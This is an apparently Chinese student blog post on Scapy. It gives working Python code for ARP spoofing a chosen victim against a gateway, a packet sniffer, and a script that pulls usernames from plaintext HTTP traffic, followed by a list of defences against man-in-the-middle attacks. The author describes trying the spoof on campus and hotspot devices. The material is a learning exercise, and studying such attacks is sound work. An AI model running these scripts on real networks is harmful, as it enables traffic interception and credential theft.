Scapy技术笔记(三)

arp欺骗实践

ARP的缺陷

1,arp数据包用广播发送 2,arp是无状态的,可以直接发送应答包 3,arp是动态更新的,因为交换机里的MAC表有限 4,arp没有认证。

ARP欺骗的脚本

import uuid
from scapy.all import *
import os

from scapy.layers.l2 import getmacbyip, Ether, ARP


def getselfMac():
    mac= uuid.UUID(int=uuid.getnode()).hex[-12:]
    return ":".join([mac[e:e+2] for e in range(0,11,2)])
def arpspoof():
    gwIP = input("输入网关ip")
    misleadingIP=input("输入要欺骗的ip")
    mlmac = getmacbyip(misleadingIP)
    eth = Ether(dst=mlmac)
    arp = ARP(op=2,hwsrc=getselfMac(),psrc=gwIP,hwdst=mlmac,pdst=misleadingIP)
    sendp(eth/arp,inter=2,loop=1)


arpspoof()

在进行ARP欺骗的过程中遇到些关于网络原理的问题,简单记录一下。

 实际上我并没有欺骗成功。上图是我欺骗同一校园网下的一个设备。失败了,后来了解到可能是校园网使用了VLAN(虚拟局域网)技术。

当时我的理解是:

不在同一WLAN下不能进行ARP欺骗。然后我ping 了和我 “同一网关”小伙伴的电脑。 我只知道ARP欺骗要在同一WLAN下, 之前同一网段下用kali的arpspoof成功欺骗了。 但是现在的情况是我们不在同一网段,不知道是不是因为这个的影响。(后来才知道不同网段也可以欺骗)

校园网不能实现的话,我和同学开了热点尝试。

左边是同一热点下,对B(192.168.43.97)进行的ARP欺骗,已经满足了同一网络,同一网段,同一网关。但是还是失败了,明明可以ping通。还不成功那可能就是防火墙或者路由器的缘故了。

右边是对虚拟机win7进行的ARP欺骗。

Scapy编写的网络嗅探程序

使用sniff()捕获数据包后将嗅探结果保存为pacp文件

from  scapy.all import *
packet=sniff(count=5)
wrpcap("./test.pacp",packet)
from scapy.all import *
from scapy.layers.inet import IP
from scapy.layers.l2 import Ether

pcaps = rdpcap("test.pacp")
print(len(pcaps))
for pkt in pcaps:
    print("源MAC地址:"+pkt[Ether].src,
          "目标MACD地址:"+pkt[Ether].dst,
          "源IP地址为:"+pkt[IP].src,
          "目标IP地址:"+pkt[IP].dst)

提取敏感信息

import re
from scapy.all import *
from scapy.layers.inet import IP


def httpsniff(pkt):
    dest = pkt.getlayer(IP).dst  #getlayer获取协议层名字
    content = pkt.sprintf("%Raw.load%")     #提取HTTP部分
    username = re.findall('(?i)username-(.*)',content)       #某个网站提交用户名字段为"customer="时
    if username:
        print('[*] Detected http Login to '+str(dest))
        print('[+] Username:'+str(username[0]))
sniff(iface="WLAN",filter='tcp port 80',prn=httpsniff)

中间人攻击的解决方案

  1. 使用加密技术:使用安全协议如SSL/TLS等来保护数据传输过程中的机密性、完整性和认证性。
  2. 采用数字证书:数字证书是一种由权威机构颁发的证明身份的电子文件。通过验证数字证书的有效性,可以确保通信双方的身份真实可靠。
  3. 使用VPN:虚拟私有网络(VPN)是一种通过公共网络建立起加密的专用网络,在网络层面上解决了中间人攻击的问题。
  4. 认证用户身份:Web应用程序可以使用表单、cookie或其他机制来验证用户身份,从而避免黑客冒充用户登录系统。
  5. 更新软件版本:时刻关注厂商发布的安全更新,并及时更新软件版本,以修复安全漏洞。
  6. 静态绑定路由表
  7. 使用DHCP snooping功能
  8. 划分VLAN
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值